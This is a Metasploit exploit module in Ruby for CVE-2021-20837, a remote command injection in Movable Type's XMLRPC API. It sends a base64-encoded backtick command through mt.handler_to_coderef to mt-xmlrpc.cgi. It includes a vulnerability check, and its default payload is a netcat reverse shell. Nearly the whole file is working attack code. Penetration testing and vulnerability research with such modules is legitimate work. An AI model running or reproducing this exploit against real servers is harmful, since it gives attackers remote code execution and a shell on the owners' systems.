class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Movable Type XMLRPC API Remote Command Injection", 'Description' => %q{ This module exploit Movable Type XMLRPC API Remote Command Injection. }, 'License' => MSF_LICENSE, 'Author' => [ 'Etienne Gervais', # author & msf module, 'Charl-Alexandre Le Brun' # author & msf module ], 'References' => [ ['CVE', '2021-20837'], ['URL', 'https://movabletype.org/'], ['URL', 'https://nemesis.sh/'] ], 'DefaultOptions' => { 'SSL' => false, }, 'Platform' => ['linux'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'DisclosureDate' => "2021-10-20", 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic (Unix In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ] ] )) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of the MovableType', '/cgi-bin/mt/']) ], self.class ) end def cmd_to_xml(cmd, opts={}) base64_cmd = Rex::Text.encode_base64("`"+cmd+"`") xml_body = <<~THISSTRING mt.handler_to_coderef #{base64_cmd} THISSTRING end def check begin fingerprint = Rex::Text.rand_text_alpha(32) command_payload = cmd_to_xml("echo "+fingerprint) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'), 'ctype' => 'text/xml; charset=UTF-8', 'data' => command_payload }) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200 if res && res.body.include?("Can't locate "+fingerprint) return Exploit::CheckCode::Vulnerable end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end Exploit::CheckCode::Safe end def exploit begin command_payload = cmd_to_xml(payload.raw) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'), 'ctype' => 'text/xml; charset=UTF-8', 'data' => command_payload }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end